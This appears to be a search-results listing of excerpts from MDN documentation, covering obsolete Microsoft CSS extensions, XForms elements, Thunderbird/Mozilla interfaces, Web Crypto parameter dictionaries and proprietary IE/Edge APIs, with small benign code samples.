...script is listening for scroll wheel document object model (dom) events, the events that occur when the user scrolls vertically will always be vertical scroll events, not horizontal scroll events. similarly, the events that occur when the user scrolls horizontally will always be horizontal scroll events. this property enables you to change this behavior for vertical scroll events. by setting the -ms-scroll-translation property to vertical-to-horizontal, you are specifying that vertical scroll events should be interpreted as their corresponding horizontal scroll events. this property's initial value is inherit on all elements, except the <html> element, where it defaults to none. this property has no effect on keyboard interaction. the default css templates for windows apps using javascrip...
-ms-scrollbar-shadow-color - Archive of obsolete content
initial valuethreeddarkshadowapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the bottom and right edges of the scroll box and scroll arrows of a scroll bar. ...
... <!doctype html> <html> <head> <title>scrollbar-shadow-color</title> <style> .blueshadow { scrollbar-shadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specificat...
-ms-touch-select - Archive of obsolete content
the -ms-touch-select css property is a microsoft extension that toggles the gripper visual elements that enable touch text selection. initial valuegrippersapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values grippers the grippers are always on. in addition, selection will start even if an onclick, onmsgesturetap, or onmouseup handler is present. this is the initial value. none the grippers are always off and default touch selection functionality is not provided. formal syntax grippers | none specifications not part of any specification. remarks this property requires windows 8 or later. the -ms-touch-select property should only be used by applications that provide their own selection experience. most other app...
...itial value. none the grippers are always off and default touch selection functionality is not provided. formal syntax grippers | none specifications not part of any specification. remarks this property requires windows 8 or later. the -ms-touch-select property should only be used by applications that provide their own selection experience. most other applications should use the -ms-user-select property instead. if you choose to hide the grippers, you should ensure that users have a mechanism for selecting text via touch. to find out how to do this using javascript, see the html5 selection apis. this property has no effect on mouse, keyboard, or touchpad interaction. ...
-ms-wrap-margin - Archive of obsolete content
this property can be set to any supported length value. ...
... css property is a microsoft extension that specifies a margin that offsets the inner wrap shape from other shapes. initial value0applies toexclusion elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values <length> the margin size, a non-negative value. formal syntax <length> specifications not part of any specification. remarks offsets created by the -ms-wrap-margin property are offset from the outside of the exclusion. this property can be set to any supported length value. ...
-ms-wrap-through - Archive of obsolete content
the -ms-wrap-through css property is a microsoft extension that specifies how content should wrap around an exclusion element. initial valuewrapapplies toblock-level elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values wrap the exclusion element inherits its parent node's wrapping context. its descendant inline content wraps around exclusions defined outside the element. none the exclusion element does not inherit its parent node's wrapping context. its descendants are only subject to exclusion shapes defined inside the element. formal syntax wrap | none specifications not part of any specification. ...
...herits its parent node's wrapping context. its descendant inline content wraps around exclusions defined outside the element. none the exclusion element does not inherit its parent node's wrapping context. its descendants are only subject to exclusion shapes defined inside the element. formal syntax wrap | none specifications not part of any specification. remarks you can use the -ms-wrap-through property to control the effect of exclusions; for instance, to cause one content block to wrap around an exclusion element and another to intersect the same exclusion element. the wrapping context of a box is a collection of exclusion areas contributed by its associated exclusion boxes. the inline flow content of a box is placed in the area that corresponds to the subtraction of it...
::-ms-tooltip - Archive of obsolete content
the ::-ms-tooltip css pseudo-element is a microsoft extension that represents the tooltip of a slider control. a slider control is one possible representation of <input type="range">. allowable properties only the following css properties can be used in a rule with ::-ms-tooltip in its selector. other properties are ignored. ...
... the ::-ms-tooltip css pseudo-element is a microsoft extension that represents the tooltip of a slider control. a slider control is one possible representation of <input type="range">. allowable properties only the following css properties can be used in a rule with ::-ms-tooltip in its selector. other properties are ignored. ...
Debug.msUpdateAsyncCallbackRelation - Archive of obsolete content
the debug.msupdateasynccallbackrelation function updates the relationship status between a synchronous work item and the associated asynchronous operation. syntax debug.msupdateasynccallbackrelation(relatedasyncoperationid, relationtype) parameters relatedasyncoperationid the id associated with the asynchronous operation. relationtype optional the value that specifies the relationship status. remarks the synchronous work item is typically the callback function for the asynchronous operation. this function may be called when an asynchronous operation is aborted, when a join operation is used, or in other scenarios. ...
...ated with the asynchronous operation. relationtype optional the value that specifies the relationship status. remarks the synchronous work item is typically the callback function for the asynchronous operation. this function may be called when an asynchronous operation is aborted, when a join operation is used, or in other scenarios. the possible values for relationtype include: debug.ms_async_callback_status_assign_delegate debug.ms_async_callback_status_join debug.ms_async_callback_status_chooseany debug.ms_async_callback_status_cancel debug.ms_async_callback_status_error for more information, see debug constants. note: some debugging tools do not display the information sent to the debugger by this function. requirements supported in the inte...
XForms Label Element - Archive of obsolete content
introduction specifies the label (short description) for the xforms control (see the spec). every form control other than the output and choices elements must contain a label element. it is valid for a form control to have an empty label element. the label text can be specified in instance data, in a remote document, or as inline text. if more than one source of label text is specified for this element, the order of precedence is: single node binding attributes, linking attributes, inline text. ui behavior accesskey support - if the accesskey attribute is specified on labeled xforms controls or on the label element itself then the label text for the control will contain an indicator as to what the access key is in a standard way. usually by underlining the accesskey character in the l...
...focus. attributes ui common accesskey - used to specify the keyboard shortcut for focusing the parent form control. single-node binding linking src - url of a document whose contents will be retrieved by the label element and used to provide label text for the containing form control. type restrictions the label element can be bound to any simple content. representations the xforms label element is represented by the text retrieved from instance data, a document or the label element's own inline content. ...
XForms Range Element - Archive of obsolete content
ntrol. single-node binding special incremental - supported, default value is false start - lower bound of possible values end - upper bound of possible values step - is used for incrementing/decrementing values start/end/step attributes if the value of the bound instance node is outside the range of values specified by the start and end attributes, then the range element receives a xforms-out-of-range event. if the bound value then becomes in range, the range element receives a xforms-in-range event. start specifies the lower bound of possible values, i.e. values can't be less than the value of this attribute. if this attribute is omitted, then it is assumed to be 0. end specifies the upper bound of possible values, i.e. values can't be greater than the value of this attribute. if...
...anged upon user interaction. if this attribute is omitted, then it is assumed to be the value of end - start / 20. type restrictions the range element can be bound to a node of type xsd:duration, xsd:date, xsd:time, xsd:datetime, xsd:gyearmonth, xsd:gyear, xsd:gmonthday, xsd:gday, xsd:gmonth, xsd:float, xsd:decimal or xsd:double or any type derived from one of these. representations the xforms range element is represented by a slider widget (xhtml only). characteristics analogous widget is <xul:scale/>, which is available in fx 3.0 only if the incremental attribute has the value true, the value of the bound node will be updated upon each movement of the slider's thumb. ...
XForms Upload Element - Archive of obsolete content
introduction provides a means for the user to select a file (see the spec) from the file system. a filter can be specified to limit the types of files that the user can select from. visually, the upload control is shown as a file picker dialog that hides disallowed (filtered) file types. the xforms author can set the filter by using the mediatype attribute directly on the upload element or by placing a mediatype element (see the spec) as a direct child of the upload element. attributes ui common appearance - isn't supported. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special mediatype - supported. incremental - isn't supported. type restrictions the upload element can be bound to a node of type xsd:anyuri, xsd:base64bi...
...butes ui common appearance - isn't supported. accesskey - used to specify the keyboard shortcut for focusing this control. single-node binding special mediatype - supported. incremental - isn't supported. type restrictions the upload element can be bound to a node of type xsd:anyuri, xsd:base64binary or xsd:hexbinary or any type derived from one of these. representations the xforms upload element is represented by visually combining three widgets: a text field that shows the uri of the selected file, a button to open the file picker dialog which allows the user to select a file, and a button to clear the text field and the reference to the file from the bound node (xhtml only). characteristics analogous widget is <xhtml:input type="file"/> ...
Using XForms and PHP - Archive of obsolete content
to do that, you need to use the header() php function: <?php header("content-type: application/xhtml+xml; charset=utf-8"); ... ?> but remember this (quote from php documentation): remember that header() must be called before any actual output is sent, either by normal html tags, blank lines in a file, or from php. it is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. ...
...php. it is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. the same problem exists when using a single php/html file. parsing submitted data depending on the submission type, you might get different data formats on the server side. to really use the power of xforms (/xml) you would probably submit xml. there is some help in getting to the raw xml on the php documentation site. how to actually parse and use the xml data depends heavily on what you want to achieve and on the php version. to get a dom document on php 4 i usually do something like this: $data = $http_raw_post_data; $dom = domxml_open_mem($data); $root = $dom->document_element(); ... $newnode =...
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
even if the actual connection is tethered broadband or wifi, based on the time between the browser requesting a page and effective type of the connection. the values of 'slow-2g', '2g', '3g', and '4g' are determined using observed round-trip times and downlink values. ...
...ng a page and effective type of the connection. the values of 'slow-2g', '2g', '3g', and '4g' are determined using observed round-trip times and downlink values. table of effective connection types ect minimum rtt maximum downlink explanation slow-2g 2000ms 50 kbps the network is suited for small transfers only such as text-only pages. 2g 1400ms 70 kbps the network is suited for transfers of small images. 3g 270ms 700 kbps the network is suited for transfers of large assets such as high resolution images, audio, and sd video. 4g 0ms ∞ the network is suited for hd video, real-time video, etc. effectivetype is a property of the network information api, exposed to javascript via the navigat...
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
ction property. there are four possible values for flex-direction. these are: row row-reverse column column-reverse should you choose row or row-reverse then your main axis will run along the row in the inline direction. choose column or column-reverse and your main axis will run top to bottom of the page in the block direction. on the main axis you can control the sizing of flex items by adding any available space to the items themselves, by way of flex properties on the items. or, you can control the space between and around items by using the justify-content property. learn more property reference flex-basis flex-direction flex-grow flex-shrink justify-content flex further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning item...
...roperties on the items. or, you can control the space between and around items by using the justify-content property. ...
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
rds are rules established by international standards bodies and defining how how the web works (and sometimes controlling the internet as well). several standards bodies are responsible for defining different aspects of the web, and all the standards must coordinate to keep the web maximally usable and accessible. ...
... sometimes controlling the internet as well). several standards bodies are responsible for defining different aspects of the web, and all the standards must coordinate to keep the web maximally usable and accessible. web standards also must evolve to improve the current status and adapt to new circumstances. ...
Sizing items in CSS - Learn web development
previous overview: building blocks next in the various lessons so far you have come across a number of ways to size items on a web page using css. understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to understand the different ways we can size things in css. the natural or intrinsic size of things html elements have a natural size, set before they are aff...
...understanding the concepts here before moving on. ...
MathML Demo: <mspace> - space
mathml demo: <mspace> - space the background color of <mspace> elements has been set to yellow for easier viewing. you can set the width ∑ x y height ∫ x y and depth [ x y ] of mspace elements (click the math text to view the numeric values that are set). interactive sizing html content <p> use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects. <br /> height <a class="control" href="javascript:upheight();" title="increase height">+</a>/ <a class="control" href="javascript:downheight();" title="decrease height">-</a> width <a class="control" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="contr...
...t:downheight();" title="decrease height">-</a> width <a class="control" href="javascript:upwidth();" title="increase width">+</a>/ <a class="control" href="javascript:downwidth();" title="decrease width">-</a> depth <a class="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight...
Debugging out-of-memory problems
out-of-memory exceptions from js setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the browser console (note: not web console) when an oom crash is encountered. for more information, see bug 969415. ...
... out-of-memory exceptions from js setting memory.dump_reports_on_oom in about:config to true will cause the browser to automatically write about:memory dumps to a temp file printed to the browser console (note: not web console) when an oom crash is encountered. for more information, see bug 969415. ...
mozIStorageStatementParams
as no defined properties, but has properties based on the named parameters found in the sql from the statement it was accessed off of. for example, say you create a statement like so: var statement = dbconn.createstatement("select * from table_name where id = :item_id"); this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.params.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters. enumeration of properties you can also enumerate all the properties on this object with a for..in enumeration: // valuestobind is an object that contains key-value pairs // to bind to the statement before executing it. for...
...ls on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters. enumeration of properties you can also enumerate all the properties on this object with a for..in enumeration: // valuestobind is an object that contains key-value pairs // to bind to the statement before executing it. for (let param in statement.params) statement.params[param] = valuestobind[param]; ...
nsIDOMStorageList
dom/interfaces/storage/nsidomstoragelist.idlscriptable this interface is used to access the contextual storage areas used by globalstorage by domain. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes. nsidomstorage nameditem( in domstring domain ); parameters domain the name of the domain for whom to return the storage object. ...
...erits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomstorage nameditem(in domstring domain); methods nameditem() called when the list of available access points changes. nsidomstorage nameditem( in domstring domain ); parameters domain the name of the domain for whom to return the storage object. ...
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable this interface provides methods for managing data stored in the offline apps cache. 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications. all data...
...omain); methods clearofflineapps() clears keys owned by offline applications. all data owned by a domain with the "offline-app" permission is removed from the database. void clearofflineapps(); parameters none. getlocalstorageforprincipal() returns the instance of the localstorage object for auri's origin. this is used to ensure that only one local storage area exists for a given origin. nsidomstorage getlocalstorageforprincipal( nsiprincipal aprincipal, domstring adocumenturi ); parameters aprincipal the principal for which to return the local storage object. adocumenturi the document's uri. return value the local storage object for the specified principal. getusage() returns the amount of disk space used by a domain. usage is checked against the domain of the page that set the ...
nsIDOMStorageWindow
dom/interfaces/storage/nsidomstoragewindow.idlscriptable this interface provides access to a dom window's client side storage objects. all dom windows inherit from this interface. 1.0 66 introduced gecko 1.8.1 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface has been merged into nsidomwindow, and this interface has been removed. attributes attribute type description globalstorage nsidomstoragelist global storage, accessible by domain. read only. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inse...
...ccessible by domain. read only. localstorage nsidomstorage local storage for the current browsing context. data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place. read only. moz_indexeddb nsiidbfactory indexed databases for the current browsing context. read only. sessionstorage nsidomstorage session storage for the current browsing context. data stored in session storage may be accessed by any site in the browsing context. read only. ...
nsIMsgDBViewCommandUpdater
the nsimsgdbviewcommandupdater interface controls changes that occur as the selection changes. mailnews/base/public/nsimsgdbview.idl#349scriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports in thunderbird this is implemented for different windows in several different places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes. voi...
...asubject the subject of the selected message. akeywords keywords associated with the selected message. ...
nsIMsgSearchNotify
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished. ...
...nsimsgsearchnotify.idl [scriptable, uuid(ca37784d-352b-4c39-8ccb-0abc1a93f681)] interface nsimsgsearchnotify : nsisupports { void onsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder); // notification that a search has finished. ...
nsIXFormsNSInstanceElement
nsixformsnsinstanceelement is implemented by all xforms <instance/> elements, defining mozilla extensions. extensions/xforms/nsixformsnsinstanceelement.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) interface code [scriptable, uuid(80669b92-8331-4f92-aaf8-06e80e6827b3)] interface nsixformsnsinstanceelement : nsisupports { nsidomdocument getinstancedocument(); }; methods getinstancedocument nsidomdocument getinstancedocument(); getinstancedocument returns a dom document that corresponds to the instance data associated with the instance element. essentially it is just a shortcut to nsixformsmodelelement::getinstancedocument() for the given instance element. ...
... ...
nsIXFormsNSModelElement
nsixformsnsmodelelement is implemented by all xforms <model/> elements. it defines mozilla extensions to the nsixformsmodelelement interface. extensions/xforms/nsixformsnsmodelelement.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) interface code [scriptable, uuid(85fd60c7-1db7-40c0-ae8d-f723fdd1eea8)] interface nsixformsnsmodelelement : nsisupports { nsidomnodelist getinstancedocuments(); }; methods getinstancedocuments nsidomnodelist getinstancedocuments(); getinstancedocuments returns a nsidomnodelist containing all the instance documents for the model, making it possible to enumerate over instances in the model without knowing their names. ...
...ae8d-f723fdd1eea8)] interface nsixformsnsmodelelement : nsisupports { nsidomnodelist getinstancedocuments(); }; methods getinstancedocuments nsidomnodelist getinstancedocuments(); getinstancedocuments returns a nsidomnodelist containing all the instance documents for the model, making it possible to enumerate over instances in the model without knowing their names. related interfaces nsixformsmodelelement example code none. ...
nsMsgSearchScope
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface nsmsgsearchscope { const nsmsgsearchscopevalue offlinemail = 0; const nsmsgsearchscopevalue offlinemailfilter = 1; const nsmsgsearchscopevalue onlinemail = 2; const nsmsgsearchscopevalue onlinemailfilter = 3; /// offline news, base table, no body or junk const nsmsgsearchscopevalue localnews = 4; const nsmsgsearchscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscope...
...chscopevalue news = 5; const nsmsgsearchscopevalue newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscopevalue ldapand = 12; // imap and news, searched using local headers const nsmsgsearchscopevalue onlinemanual = 13; /// local news + junk const nsmsgsearchscopevalue localnewsjunk = 14; /// local news + body const nsmsgsearchscopevalue localnewsbody = 15; /// local news + junk + body const nsmsgsearchscopevalue localnewsjunkbody = 16; }; ...
nsMsgSearchTerm
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl use this to specify the value of a search term [ptr] native nsmsgsearchterm(nsmsgsearchterm); // please note the ! at the start of this macro, which means the macro // needs to enumerate the non-string attributes. %{c++ #define is_string_attribute(_a) \ (!(_a == nsmsgsearchattrib::priority || _a == nsmsgsearchattrib::date || \ _a == nsmsgsearchattrib::msgstatus || _a == nsmsgsearchattrib::messagekey || \ _a == nsmsgsearchattrib::size || _a == nsmsgsearchattrib::ageindays || \ _a == nsmsgsearchattrib::folderinfo || _a == nsmsgsearchattrib::location || \ _a == nsmsgsearchattrib::label || _a == nsmsgsearchattrib::junkstatus || \ _a == nsmsgsearchattrib::folderflag || _a == nsmsgsearchattrib::ui...
...chattrib::msgstatus || _a == nsmsgsearchattrib::messagekey || \ _a == nsmsgsearchattrib::size || _a == nsmsgsearchattrib::ageindays || \ _a == nsmsgsearchattrib::folderinfo || _a == nsmsgsearchattrib::location || \ _a == nsmsgsearchattrib::label || _a == nsmsgsearchattrib::junkstatus || \ _a == nsmsgsearchattrib::folderflag || _a == nsmsgsearchattrib::uint32hdrproperty || \ _a == nsmsgsearchattrib::junkpercent || _a == nsmsgsearchattrib::hasattachmentstatus)) %} ...
nsMsgNavigationType
the nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call: // assuming gdbview is a global nsimsgdbview var resultid = new object(); var resultindex = new object(); var threadindex = new object(); gdbview.viewnavigate(components.interfaces.nsmsgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgnavigationtype interface is defined as a global variable in thunderbird: var nsmsgviewcommandtype = components.interfaces.nsmsgviewcommandtype; mailnews/base/public/nsimsgdbview.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in ...
... 3) constants name value description firstmessage 1 go to the first message in the view. nextmessage 2 go to the next message in the view. will wrap around if the wrap flag is set to true. previousmessage 3 go to the previous message in the view. will wrap around if the wrap flag is set to true. lastmessage 4 go to the last message in the view. togglethreadkilled 5 must match nsmsgviewcommandtype togglethreadkilled. firstunreadmessage 6 go to the first unread message in the view. nextunreadmessage 7 go to the next unread message in the view. will wrap around if the wrap flag is set to true. previousunreadmessage 8 go to the previous unread message in the view. will wrap around if the wrap flag is set to true. lastunreadmessage 9 go to the last unread message in...
nsMsgViewFlagsType
the nsmsgviewflagstype interface contains constants used for view flags in thunderbird. this interface isn't ever implemented. it is only used to store constants. ...
... the nsmsgviewflagstype interface contains constants used for view flags in thunderbird. this interface isn't ever implemented. it is only used to store constants. ...
nsMsgViewType
the nsmsgviewtype interface contains constants used for views in thunderbird. this interface isn't ever implemented. it is only used to store constants. ...
... the nsmsgviewtype interface contains constants used for views in thunderbird. this interface isn't ever implemented. it is only used to store constants. ...
Sorting algorithms comparison - Firefox Developer Tools
iteratively (200 iterations) generates a randomized array and calls sort(). sort() calls each of bubblesort(), selectionsort(), quicksort() in turn and logs the result. ...
...icksort(). its call graph looks like this: sortall() // (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license. you can try out the example program here and clone the code here (be sure to check out the gh-pages branch). you can also download the specific profile we discuss - just import it to the performance tool if you want to follow along. of course, you can generate your own prof...
CSSOMString - Web APIs
cssomstring is used to denote string data in cssom specifications and can refer to either domstring or usvstring. when a specification says cssomstring, it depends on the browser vendors to choose whether to use domstring or usvstring. while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might choose to use domstring instead. ...
... cssomstring, it depends on the browser vendors to choose whether to use domstring or usvstring. while browser implementations that use utf-8 internally to represent strings in memory can use usvstring when the specification says cssomstring, implementations that already represent strings as 16-bit sequences might choose to use domstring instead. implementation differences browser domstring or usvstring for cssomstring firefox (gecko) usvstring chrome (blink) usvstring safari (webkit) usvstring edge (edgehtml) - opera (blink) usvstring specifications specification status comment css object model (cssom)the definition of 'cssomstring' in that specification. working draft initial...
EcKeyImportParams - Web APIs
the eckeyimportparams dictionary of the web crypto api represents the object that should be passed as the algorithm parameter into subtlecrypto.importkey() or subtlecrypto.unwrapkey(), when generating any elliptic-curve-based key pair: that is, when the algorithm is identified as either of ecdsa or ecdh. properties name a domstring. this should be set to ecdsa or ecdh, depending on the algorithm you want to use. namedcurve a domstring representing the name of the elliptic curve to use. this may be any of the following names for nist-approved curves: p-256 p-384 p-521 examples see the examples for subtlecrypto.importkey(). ...
...e algorithm you want to use. namedcurve a domstring representing the name of the elliptic curve to use. this may be any of the following names for nist-approved curves: p-256 p-384 p-521 examples see the examples for subtlecrypto.importkey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeyimportparams' in that specification. recommendation ...
EcdhKeyDeriveParams - Web APIs
this should be set to ecdh. public a cryptokey object representing the public key of the other entity. ...
...d a private key to derive a shared secret. they exchange public keys and use the combination of their private key and the other entity's public key to derive a secret key that they — and noone else — share. the parameters for ecdh derivekey() therefore include the other entity's public key, which is combined with this entity's private key to derive the shared secret. properties name a domstring. this should be set to ecdh. public a cryptokey object representing the public key of the other entity. examples see the examples for subtlecrypto.derivekey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdhkeyderiveparams' in that specification. recommendation ...
EcdsaParams - Web APIs
an identifier for the digest algorithm to use. this should be one of the following: sha-256: selects the sha-256 algorithm. sha-384: selects the sha-384 algorithm. sha-512: selects the sha-512 algorithm. warning: sha-1 is also supported here but the sha-1 algorithm is considered vulnerable and should no longer be used. examples see the examples for subtlecrypto.sign() or subtlecrypto.verify(). ...
...e sha-384 algorithm. sha-512: selects the sha-512 algorithm. warning: sha-1 is also supported here but the sha-1 algorithm is considered vulnerable and should no longer be used. examples see the examples for subtlecrypto.sign() or subtlecrypto.verify(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdsaparams' in that specification. recommendation ...
Element: MSGestureHold event - Web APIs
the msgesturehold event is fired when the user contacts the touch surface and remains in the same position for a while. it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user started contacting the touch surface. msgesture_flag_end this value indicates that the user has stopped touching the touch surface. ...
... unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user started contacting the touch surface. msgesture_flag_end this value indicates that the user has stopped touching the touch surface. msgesture_flag_end & msgesture_flag_cancel (bitwise and-ed together) this value indicates that the user has moved their finger, regardless of whether they also stopped touching the touch surface specifications not part of any specification. ...
Element: MSManipulationStateChanged event - Web APIs
msmanipulationstatechanged fires when the state of an element being manipulated has changed (ie. whenever you start or finish panning or zooming an element). it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties. ...
...an element). it is a proprietary event specific to microsoft edge and internet explorer. bubbles unknown cancelable unknown interface msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties. examples // listen for panning state change events outerscroller.addeventlistener("msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { refreshitemsasync(); } }); specifications not part of any specification. ...
msAudioDeviceType - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msaudiodevicetype property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge. msaudiodevicetype specifies the output device id that the audio will be sent to. syntax <audio src="sound.mp3" msaudiodevicetype="communications" /> by default, audio on your system will output to your default speakers and be considered a foreground element, meaning that the audio will play only when the element is active in the app. for real-tim...
... value include a description of the property's value, including data type and what it represents. value description console specifies that the audio output will be sent to the console device. ...
HTMLVideoElement.msInsertVideoEffect() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the htmlmediaelement.msinsertvideoeffect() method inserts the specified video effect into the media pipeline. this proprietary method is specific to internet explorer and microsoft edge. syntax str = htmlmediaelement.msinsertvideoeffect(activatableclassid: domstring, effectrequired: boolean, config); parameters activatableclassid a domstring defining the video effects class. effectrequired a boolean which if set to true requires a video effect to be defined. configoptional an optional o...
...olean, config); parameters activatableclassid a domstring defining the video effects class. effectrequired a boolean which if set to true requires a video effect to be defined. configoptional an optional object to help with defining any additional configuration needed. return value this method does not return a value. ...
msSetVideoRectangle - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the htmlvideoelement.mssetvideorectangle() method sets the dimensions of a sub-rectangle within a video. this proprietary method is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mssetvideorectangle(); parameters left a number representing left-side position. top a number representing top position. right a number representing right-side position. bottom a number representing bottom position. return value this method does not return a value. example htmlvideoel...
...etary method is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mssetvideorectangle(); parameters left a number representing left-side position. top a number representing top position. right a number representing right-side position. bottom a number representing bottom position. return value this method does not return a value. ...
HkdfParams - Web APIs
this may be one of: sha-1 sha-256 sha-384 sha-512 salt a buffersource. the hkdf specification states that adding salt "adds significantly to the strength of hkdf". ideally, the salt is a random or pseudo-random value with the same length as the output of the digest function. unlike the input key material passed into derivekey(), salt does not need to be kept secret. info a buffersource representing application-specific contextual information. ...
... recommendation ...
HmacImportParams - Web APIs
the can take a value of sha-256, sha-384, or sha-512. warning: although you can technically pass sha-1 here, this is strongly discouraged as it is considered vulnerable. length optional a number representing the length in bits of the key. if this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen. ...
... recommendation ...
HmacKeyGenParams - Web APIs
you can pass any of sha-1, sha-256, sha-384, or sha-512 here. length optional a number — the length in bits of the key. if this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen. unless you have a good reason to use a different length, omit this property and use the default. examples see the examples for subtlecrypto.generatekey(). ...
... recommendation ...
MSCandidateWindowHide - Web APIs
this proprietary method is specific to internet explorer. ...
